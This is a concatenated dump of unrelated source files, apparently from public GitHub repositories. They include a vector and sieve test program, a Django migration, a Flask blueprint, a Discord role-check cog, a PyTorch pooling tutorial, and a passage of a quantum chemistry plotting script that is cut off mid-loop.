self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at3(self:"Vector3", idx: int, idx2: int, idx3: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Retrieves an item at a given index
def get(self:"Vector3", idx: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get2(self:"Vector3", idx: int, idx2: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get3(self:"Vector3", idx: int, idx2: int, idx3: int) -> int:
return self.items[idx]
# Retrieves the current size of the vector
def length(self:"Vector3") -> int:
return self.size
# Retrieves the current size of the vector
def length2(self:"Vector3") -> int:
return self.size
# Retrieves the current size of the vector
def length3(self:"Vector3") -> int:
return self.size
# A resizable list of integers
class Vector4(object):
items: [int] = None
items2: [int] = None
items3: [int] = None
items4: [int] = None
size: int = 0
size2: int = 0
size3: int = 0
size4: int = 0
def __init__(self:"Vector4"):
self.items = [0]
# Returns current capacity
def capacity(self:"Vector4") -> int:
return len(self.items)
# Returns current capacity
def capacity2(self:"Vector4") -> int:
return len(self.items)
# Returns current capacity
def capacity3(self:"Vector4") -> int:
return len(self.items)
# Returns current capacity
def capacity4(self:"Vector4") -> int:
return len(self.items)
# Increases capacity of vector by one element
def increase_capacity(self:"Vector4") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity2(self:"Vector4") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity3(self:"Vector4") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity4(self:"Vector4") -> int:
self.items = self.items + [0]
return self.capacity()
# Appends one item to end of vector
def append(self:"Vector4", item: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append2(self:"Vector4", item: int, item2: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append3(self:"Vector4", item: int, item2: int, item3: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append4(self:"Vector4", item: int, item2: int, item3: int, item4: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends many items to end of vector
def append_all(self:"Vector4", new_items: [int]) -> object:
item:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all2(self:"Vector4", new_items: [int], new_items2: [int]) -> object:
item:int = 0
item2:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all3(self:"Vector4", new_items: [int], new_items2: [int], new_items3: [int]) -> object:
item:int = 0
item2:int = 0
item3:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all4(self:"Vector4", new_items: [int], new_items2: [int], new_items3: [int], new_items4: [int]) -> object:
item:int = 0
item2:int = 0
item3:int = 0
item4:int = 0
for item in new_items:
self.append(item)
# Removes an item from the middle of vector
def remove_at(self:"Vector4", idx: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at2(self:"Vector4", idx: int, idx2: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at3(self:"Vector4", idx: int, idx2: int, idx3: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at4(self:"Vector4", idx: int, idx2: int, idx3: int, idx4: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Retrieves an item at a given index
def get(self:"Vector4", idx: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get2(self:"Vector4", idx: int, idx2: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get3(self:"Vector4", idx: int, idx2: int, idx3: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get4(self:"Vector4", idx: int, idx2: int, idx3: int, idx4: int) -> int:
return self.items[idx]
# Retrieves the current size of the vector
def length(self:"Vector4") -> int:
return self.size
# Retrieves the current size of the vector
def length2(self:"Vector4") -> int:
return self.size
# Retrieves the current size of the vector
def length3(self:"Vector4") -> int:
return self.size
# Retrieves the current size of the vector
def length4(self:"Vector4") -> int:
return self.size
# A resizable list of integers
class Vector5(object):
items: [int] = None
items2: [int] = None
items3: [int] = None
items4: [int] = None
items5: [int] = None
size: int = 0
size2: int = 0
size3: int = 0
size4: int = 0
size5: int = 0
def __init__(self:"Vector5"):
self.items = [0]
# Returns current capacity
def capacity(self:"Vector5") -> int:
return len(self.items)
# Returns current capacity
def capacity2(self:"Vector5") -> int:
return len(self.items)
# Returns current capacity
def capacity3(self:"Vector5") -> int:
return len(self.items)
# Returns current capacity
def capacity4(self:"Vector5") -> int:
return len(self.items)
# Returns current capacity
def capacity5(self:"Vector5") -> int:
return len(self.items)
# Increases capacity of vector by one element
def increase_capacity(self:"Vector5") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity2(self:"Vector5") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity3(self:"Vector5") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity4(self:"Vector5") -> int:
self.items = self.items + [0]
return self.capacity()
# Increases capacity of vector by one element
def increase_capacity5(self:"Vector5") -> int:
self.items = self.items + [0]
return self.capacity()
# Appends one item to end of vector
def append(self:"Vector5", item: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append2(self:"Vector5", item: int, item2: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append3(self:"Vector5", item: int, item2: int, item3: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append4(self:"Vector5", item: int, item2: int, item3: int, item4: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends one item to end of vector
def append5(self:"Vector5", item: int, item2: int, item3: int, item4: int, item5: int) -> object:
if self.size == self.capacity():
self.increase_capacity()
self.items[self.size] = item
self.size = self.size + 1
# Appends many items to end of vector
def append_all(self:"Vector5", new_items: [int]) -> object:
item:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all2(self:"Vector5", new_items: [int], new_items2: [int]) -> object:
item:int = 0
item2:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all3(self:"Vector5", new_items: [int], new_items2: [int], new_items3: [int]) -> object:
item:int = 0
item2:int = 0
item3:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all4(self:"Vector5", new_items: [int], new_items2: [int], new_items3: [int], new_items4: [int]) -> object:
item:int = 0
item2:int = 0
item3:int = 0
item4:int = 0
for item in new_items:
self.append(item)
# Appends many items to end of vector
def append_all5(self:"Vector5", new_items: [int], new_items2: [int], new_items3: [int], new_items4: [int], new_items5: [int]) -> object:
item:int = 0
item2:int = 0
item3:int = 0
item4:int = 0
item5:int = 0
for item in new_items:
self.append(item)
# Removes an item from the middle of vector
def remove_at(self:"Vector5", idx: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at2(self:"Vector5", idx: int, idx2: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at3(self:"Vector5", idx: int, idx2: int, idx3: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at4(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Removes an item from the middle of vector
def remove_at5(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int, idx5: int) -> object:
if idx < 0:
return
while idx < self.size - 1:
self.items[idx] = self.items[idx + 1]
idx = idx + 1
self.size = self.size - 1
# Retrieves an item at a given index
def get(self:"Vector5", idx: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get2(self:"Vector5", idx: int, idx2: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get3(self:"Vector5", idx: int, idx2: int, idx3: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get4(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int) -> int:
return self.items[idx]
# Retrieves an item at a given index
def get5(self:"Vector5", idx: int, idx2: int, idx3: int, idx4: int, idx5: int) -> int:
return self.items[idx]
# Retrieves the current size of the vector
def length(self:"Vector5") -> int:
return self.size
# Retrieves the current size of the vector
def length2(self:"Vector5") -> int:
return self.size
# Retrieves the current size of the vector
def length3(self:"Vector5") -> int:
return self.size
# Retrieves the current size of the vector
def length4(self:"Vector5") -> int:
return self.size
# Retrieves the current size of the vector
def length5(self:"Vector5") -> int:
return self.size
# A faster (but more memory-consuming) implementation of vector
class DoublingVector(Vector):
doubling_limit:int = 1000
# Overriding to do fewer resizes
def increase_capacity(self:"DoublingVector") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# A faster (but more memory-consuming) implementation of vector
class DoublingVector2(Vector):
doubling_limit:int = 1000
doubling_limit2:int = 1000
# Overriding to do fewer resizes
def increase_capacity(self:"DoublingVector2") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity2(self:"DoublingVector2") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# A faster (but more memory-consuming) implementation of vector
class DoublingVector3(Vector):
doubling_limit:int = 1000
doubling_limit2:int = 1000
doubling_limit3:int = 1000
# Overriding to do fewer resizes
def increase_capacity(self:"DoublingVector3") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity2(self:"DoublingVector3") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity3(self:"DoublingVector3") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# A faster (but more memory-consuming) implementation of vector
class DoublingVector4(Vector):
doubling_limit:int = 1000
doubling_limit2:int = 1000
doubling_limit3:int = 1000
doubling_limit4:int = 1000
# Overriding to do fewer resizes
def increase_capacity(self:"DoublingVector4") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity2(self:"DoublingVector4") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity3(self:"DoublingVector4") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity4(self:"DoublingVector4") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# A faster (but more memory-consuming) implementation of vector
class DoublingVector5(Vector):
doubling_limit:int = 1000
doubling_limit2:int = 1000
doubling_limit3:int = 1000
doubling_limit4:int = 1000
doubling_limit5:int = 1000
# Overriding to do fewer resizes
def increase_capacity(self:"DoublingVector5") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity2(self:"DoublingVector5") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity3(self:"DoublingVector5") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity4(self:"DoublingVector5") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Overriding to do fewer resizes
def increase_capacity5(self:"DoublingVector5") -> int:
if (self.capacity() <= self.doubling_limit // 2):
self.items = self.items + self.items
else:
# If doubling limit has been reached, fall back to
# standard capacity increases
self.items = self.items + [0]
return self.capacity()
# Makes a vector in the range [i, j)
def vrange(i:int, j:int) -> Vector:
v:Vector = None
v = DoublingVector()
while i < j:
v.append(i)
i = i + 1
return v
def vrange2(i:int, j:int, i2:int, j2:int) -> Vector:
v:Vector = None
v2:Vector = None
v = DoublingVector()
while i < j:
v.append(i)
i = i + 1
return v
def vrange3(i:int, j:int, i2:int, j2:int, i3:int, j3:int) -> Vector:
v:Vector = None
v2:Vector = None
v3:Vector = None
v = DoublingVector()
while i < j:
v.append(i)
i = i + 1
return v
def vrange4(i:int, j:int, i2:int, j2:int, i3:int, j3:int, i4:int, j4:int) -> Vector:
v:Vector = None
v2:Vector = None
v3:Vector = None
v4:Vector = None
v = DoublingVector()
while i < j:
v.append(i)
i = i + 1
return v
def vrange5(i:int, j:int, i2:int, j2:int, i3:int, j3:int, i4:int, j4:int, i5:int, j5:int) -> Vector:
v:Vector = None
v2:Vector = None
v3:Vector = None
v4:Vector = None
v5:Vector = None
v = DoublingVector()
while i < j:
v.append(i)
i = i + 1
return v
# Sieve of Eratosthenes (not really)
def sieve(v:Vector) -> object:
i:int = 0
j:int = 0
k:int = 0
while i < v.length():
k = v.get(i)
j = i + 1
while j < v.length():
if v.get(j) % k == 0:
v.remove_at(j)
else:
j = j + 1
i = i + 1
def sieve2(v:Vector, v2:Vector) -> object:
i:int = 0
i2:int = 0
j:int = 0
j2:int = 0
k:int = 0
k2:int = 0
while i < v.length():
k = v.get(i)
j = i + 1
while j < v.length():
if v.get(j) % k == 0:
v.remove_at(j)
else:
j = j + 1
i = i + 1
def sieve3(v:Vector, v2:Vector, v3:Vector) -> object:
i:int = 0
i2:int = 0
i3:int = 0
j:int = 0
j2:int = 0
j3:int = 0
k:int = 0
k2:int = 0
k3:int = 0
while i < v.length():
k = v.get(i)
j = i + 1
while j < v.length():
if v.get(j) % k == 0:
v.remove_at(j)
else:
j = j + 1
i = i + 1
def sieve4(v:Vector, v2:Vector, v3:Vector, v4:Vector) -> object:
i:int = 0
i2:int = 0
i3:int = 0
i4:int = 0
j:int = 0
j2:int = 0
j3:int = 0
j4:int = 0
k:int = 0
k2:int = 0
k3:int = 0
k4:int = 0
while i < v.length():
k = v.get(i)
j = i + 1
while j < v.length():
if v.get(j) % k == 0:
v.remove_at(j)
else:
j = j + 1
i = i + 1
def sieve5(v:Vector, v2:Vector, v3:Vector, v4:Vector, v5:Vector) -> object:
i:int = 0
i2:int = 0
i3:int = 0
i4:int = 0
i5:int = 0
j:int = 0
j2:int = 0
j3:int = 0
j4:int = 0
j5:int = 0
k:int = 0
k2:int = 0
k3:int = 0
k4:int = 0
k5:int = 0
while i < v.length():
k = v.get(i)
j = i + 1
while j < v.length():
if v.get(j) % k == 0:
v.remove_at(j)
else:
j = j + 1
i = i + 1
# Input parameter
n:int = 50
n2:int = 50
n3:int = 50
n4:int = 50
n5:int = 50
# Data
v:Vector = None
v2:Vector = None
v3:Vector = None
v4:Vector = None
v5:Vector = None
i:int = 0
i2:int = 0
i3:int = 0
i4:int = 0
i5:int = 0
# Crunch
v = vrange(2, n)
v2 = vrange(2, n)
v3 = vrange(2, n)
v4 = vrange(2, n)
v5 = vrange(2, n)
sieve(v)
# Print
while i < v.length():
print(v.get(i))
i = i + 1
|
[
"647530+Virtlink@users.noreply.github.com"
] |
647530+Virtlink@users.noreply.github.com
|
dbba51d1399c56bed72f4e121b93767b82d2afd0
|
3145ed258bc420cb169bebe0794357a05f78e392
|
/tahlilproject/polls/migrations/0021_requestletter_date_time.py
|
f61a0ac25e4848de253d88276895c7f78fe87832
|
[] |
no_license
|
alimfaraji/tahhlilThelastSamurai
|
567390a02d890b3015aa87e4fec15634bd860ac1
|
41f31c51d82250d92f8a31cdf408127b53ce4d66
|
refs/heads/master
| 2021-01-18T16:56:59.063645 | 2017-08-27T09:42:11 | 2017-08-27T09:42:11 | 100,476,807 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 579 |
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-08-24 13:15
from __future__ import unicode_literals
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('polls', '0020_auto_20170822_2302'),
]
operations = [
migrations.AddField(
model_name='requestletter',
name='date_time',
field=models.DateTimeField(blank=True, default=datetime.datetime(2017, 8, 24, 17, 45, 57, 135990), null=True, verbose_name='notification date'),
),
]
|
[
"alimfaraji@users.noreply.github.com"
] |
alimfaraji@users.noreply.github.com
|
7d889e5f60b2ce4f29c0a9fa5d27385256fc7af1
|
47f4395b78f48e555bbd40e5ac3434f079258a31
|
/proj1/defs.py
|
15448913313a0909c21b97f4a54d7832508d71a1
|
[] |
no_license
|
odeke-em/w2015
|
97fff6525b4c50ec88212c570e105a6106bd0d30
|
d2ec51447307cb503f0a3e56f5b41114f370715a
|
refs/heads/master
| 2020-04-11T06:00:22.646186 | 2015-03-01T06:36:10 | 2015-03-01T06:36:10 | 31,156,011 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 68 |
py
|
#!/usr/bin/env python3
ACK = 'A'
RECV = 'R'
WAYPOINT_PREFIX = 'N'
|
[
"emm.odeke@gmail.com"
] |
emm.odeke@gmail.com
|
03297337030843dd31c0b3f3d16b50e48675e4ad
|
0c754d584aed17d0ad6eafa0b26510efd2a26a76
|
/puppycompanyblog/core/views.py
|
13cd1e50ceda39f7c52ececafd99cc8f8a799bf1
|
[] |
no_license
|
jc23729/Large-Project-Socal-Company-Blog
|
d1395c14d6f72a62aa39be42fd0edf14d7d28318
|
d3f4e81bf6452b5869c9828c884adcac39ae4923
|
refs/heads/master
| 2023-03-25T05:50:39.119391 | 2021-03-23T03:45:50 | 2021-03-23T03:45:50 | 335,781,135 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 267 |
py
|
#core/views.py
from flask import render_template, request, Blueprint
core = Blueprint('core',__name__)
@core.route('/')
def index():
#More to come
return render_template('index.htm')
@core.route('/info')
def info():
return render_template('info.html')
|
[
"jc23729@gmail.com"
] |
jc23729@gmail.com
|
846bef0e72a7592d7c6f4f77588449dd2f1e10ce
|
56ffe0c8c9795541b8bcb35d81d22c8a2f00520c
|
/cog/management.py
|
98380f831065d2686b825ad3372d77d67924d8fd
|
[] |
no_license
|
GCC-NF404/discord-bot
|
f502690627ff8fc751413e530238df4ac9237eae
|
13e51fb16a98473e075fbbeaa4ed9bf429c2b4a6
|
refs/heads/master
| 2022-12-31T21:16:55.253930 | 2020-10-24T07:10:16 | 2020-10-24T07:10:16 | 303,047,382 | 1 | 0 | null | 2020-10-24T04:44:47 | 2020-10-11T05:13:58 |
Python
|
UTF-8
|
Python
| false | false | 1,195 |
py
|
from discord.ext import commands
import discord,logging
COLOR = 0xdddddd
class Management(commands.Cog):
def __init__(self,ctx):
pass
@commands.command()
async def rolecheck(self,ctx):
guild = ctx.guild
role_admin = discord.utils.get(guild.roles, name='็ฎก็่
').id
role_stu = discord.utils.get(guild.roles, name='้จๅก').id
role_tea = discord.utils.get(guild.roles, name='ๅ
็').id
member = []
for i in guild.members:
if not i.top_role.id in [role_admin,role_stu,role_tea] and not i.bot:
member.append(i.name)
if member!=[]:
embed = discord.Embed(title='้ฉๅใชใญใผใซใไปไธใใใฆใใชใใกใณใใผ',description='```'+'\n'.join(['ใป'+i for i in member])+'```',color=COLOR)
else:
embed = discord.Embed(title='้ฉๅใชใญใผใซใไปไธใใใฆใใชใใกใณใใผ',description='```็พๅจใใญใผใซใไปไธใใใฆใใชใใกใณใใผใฏใใพใใใ```',color=COLOR)
await ctx.send(embed=embed)
def setup(bot):
bot.add_cog(Management(bot))
logging.info('ใณใฐ management ใฎใญใผใใ็ตไบใใพใใใ')
|
[
"36390388+Daikonnbatake@users.noreply.github.com"
] |
36390388+Daikonnbatake@users.noreply.github.com
|
60979a8ade62ba28d58cd3e3ed95c34182d3d71e
|
63b79c404d83e4980891c488f4d9592558ecda35
|
/assets/src/ba_data/python/bastd/ui/coop/__init__.py
|
3262255308ce6f45e4b6dc0da8fd42ee5b06cf20
|
[
"MIT"
] |
permissive
|
kakekakeka/ballistica
|
56e8879cd5b4b990e5e05da3dfd300d7cbb45446
|
3ffeff8ce401a00128363ff08b406471092adaa9
|
refs/heads/master
| 2022-11-14T08:11:57.160782 | 2020-07-01T05:43:13 | 2020-07-01T05:49:44 | 276,755,445 | 2 | 0 |
MIT
| 2020-07-02T22:18:37 | 2020-07-02T22:18:36 | null |
UTF-8
|
Python
| false | false | 1,178 |
py
|
# Copyright (c) 2011-2020 Eric Froemling
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# -----------------------------------------------------------------------------
|
[
"ericfroemling@gmail.com"
] |
ericfroemling@gmail.com
|
1d92cd4caf466194bc8dd0b7e0808a2f847ca1c2
|
093781f6a182c4988bb72c518e9747b723528e65
|
/14_pooling.py
|
dc3c8a0f6d26c083f847ea87a72901437bc557b4
|
[] |
no_license
|
cjy02044027/quincy-pytorch
|
889d821685865687853df8c080352e534ac71b0d
|
c6a226196ec3d7d23121291c3b5696ea57152f57
|
refs/heads/master
| 2023-01-12T10:46:39.394664 | 2020-02-14T06:23:10 | 2020-02-14T06:23:10 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,296 |
py
|
#!usr/bin/env python
# -*- coding:utf-8 _*-
"""
@version:
author:yanqiang
@time: 2019/04/09
@file: main.py
@description: ๆๅคงๆฑ ๅๅๅนณๅๆฑ ๅ
"""
import torch
from torch import nn
print(torch.__version__)
# ไบ็ปดๆๅคงๆฑ ๅๅฑๅๅนณๅๆฑ ๅๅฑ
def pool2d(X, pool_size, mode='max'):
"""
ๆฑ ๅๅฑ
:param X:
:param pool_size:
:param mode: max ๆๅคงๆฑ ๅ avgๅนณๅๆฑ ๅ
:return:
"""
X = X.float()
p_h, p_w = pool_size
Y = torch.zeros(X.shape[0] - p_h + 1, X.shape[1] - p_w + 1)
for i in range(Y.shape[0]):
for j in range(Y.shape[1]):
if mode == 'max':
Y[i, j] = X[i:i + p_h, j:j + p_w].max()
elif mode == 'avg':
Y[i, j] = X[i:i + p_h, j:j + p_w].mean()
return Y
X = torch.tensor([[0, 1, 2], [3, 4, 5], [6, 7, 8]])
print(pool2d(X, (2, 2)))
print(pool2d(X, (2, 2), 'avg'))
# ๅกซๅ
ๅๆญฅๅน
X = torch.arange(16, dtype=torch.float).view((1, 1, 4, 4))
pool2d = nn.MaxPool2d(3)
print(pool2d(X))
pool2d = nn.MaxPool2d(3, padding=1, stride=2)
print(pool2d(X))
pool2d = nn.MaxPool2d((2, 4), padding=(1, 2), stride=(2, 3))
print(pool2d(X))
# ๅค้้
X = torch.cat((X, X + 1), dim=1)
print(X)
print(X.shape)
pool2d = nn.MaxPool2d(3, padding=1, stride=2)
print(pool2d(X))
|
[
"1185918903@qq.com"
] |
1185918903@qq.com
|
94768e824242c2667ed45aca018207be8805b01e
|
5cc204e2ecb9a756127e7c71633a1edcdb3e989b
|
/qcmo/vers2/mplot_mo_v2.py
|
491cc9611375114efd4e3caf9526341e0ec30c19
|
[] |
no_license
|
hopefulp/sandbox
|
1a1d518cf7b5e6bca2b2776be1cac3d27fc4bcf8
|
4d26767f287be6abc88dc74374003b04d509bebf
|
refs/heads/master
| 2023-06-27T17:50:16.637851 | 2023-06-15T03:53:39 | 2023-06-15T03:53:39 | 218,209,112 | 1 | 0 | null | 2022-09-13T13:22:34 | 2019-10-29T05:14:02 |
C++
|
UTF-8
|
Python
| false | false | 38,996 |
py
|
#!/usr/bin/python
### made by J. Park
### 2016. 10. 25 developed for radical
### 2016. 10. 28 developed for line
### 2016. 11. 14 developed for homo-reference
### 2016. 11. 15 developed for nbo BD
### 2016. 11. 21 developed for MO Coefficients analysis
### 2016. 11. 24 developing for nbo charge
### 2016. 12. 13 developed for MO linkage using hash
### 2017. 01. 24 developing for 6-31G(d)
### 2017. 02. 06 developing for ini.py
### 2017. 02. 14 up to 5 files
### 2018. 05. 14 atom two group for link_split
### git test
### argparse
import re
import os
import argparse
import _math
import numpy as np
from common import *
from mplt_qcdraw import *
from mp_mo_dump import *
from mp_file_anal import *
from mplt_mo_ini import *
from qmo import *
################### MAIN LOOP ####################
def analyze_files(files,atomlists,atom_group,motypes, base_type,link_types, link_file, atom_groups):
# start analyze_files function
print files, "MO filter[atom|type]", atomlists, motypes,"link_type=", link_types
"""
FL_:: all-files variable [[[file1-a],[file1-b]],[[file2-a],[file2-b]],...
w. a,b dependency, last dimension is 2
Fl_:: all-files variable [[file1],[file2],...
fL_:: for single file variable with a, b dependency
fl_:: for single file variable
FILTER 0: display for selected atoms in case -a
FILTER 1: core orbital is excluded
FILTER 2: cut by MO coefficient criterion
FILTER 3: cut by max_nlumo
FILTER 4:
"""
Fl_qchem_outf = files[:]
nfile=len(Fl_qchem_outf)
#### FILTER MO for selected atoms
if atomlists: # go to MOC BLOCK 2
L_mo_coeff = True
MOcoeff_crit=0.15 # 0.15, 0 for all the levels
else:
L_mo_coeff = False
max_lumo=Nmax_virtual
if link_types:
L_link = True
else:
L_link = False
if link_file:
L_lfile = True
else:
L_lfile = False
### MO block
FL_norbital=[]
FL_homo_ene=[] # it can have beta, save homo energy [ [f1 a, f1 b],[f2 a, f2 b]... ]
FL_homo_id=[] # ene and MO id go parallel
Fl_homo_ene=[]
Fl_beta_tag=[] # 0 for restricted, 1 for beta spin of unrestricted calculation
### MOC block
Fl_MO_types=[] # [ONE(f1), 1sub(f2)...
Fl_MO_atoms=[] # just different atoms: [f1: [Ni, P], f2: [C, O], ..
Fl_MO_atoms_id=[] # all indices
Fl_nlumo=[] # [nlumo-f1, nlumo-f2... same as a|b
Fl_QCIMO=[] # list of fl_QCIMO
FL_MOene_list=[] # [ [e1, e2... ], [e1, e2...] [...
FL_MOene_select=[]
FL_MObcdic_select=[] # base-coefficient selected
FL_abMO_dic_list=[]
FL_MOid_select=[]
#### depending on nbasis, num of nbo BD line is different
nbo_atoms=['Ni', 'P', 'C','O'] # atom for 1st fragment, 2nd fragment
nbasis=[22, 8, 9, 9]
nbo_BD_nline_atoms=[]
for nb in nbasis:
nb_line5=int(nb/5)+1
nbo_BD_nline_atoms.append(nb_line5)
KW_nao_occ="NATURAL POPULATIONS"
KW_nec="Natrual Electron" # This has information of num of e in NAO
KW_nbo="Bond orbital"
KW_nbo_BD="BD"
KW_nbo_end="NBO state"
AngSym=('1s', '2s', '2px', '2py', '2pz')
lcmo_mol=1
lcmo_nlnh=[1,1]
lcmoA=[]
lcmoB=[]
lcmoC=[]
### LINK block
FL_sMO_dic=[]
FL_link_dic=[]
nlink = NLINK
"""
Constants in module
readline file and extract (1) energies, (2) coefficients, (3) nbos
"""
fid=0
s='-' # atom-id linker
### Analyze each file
#####################
for file in Fl_qchem_outf:
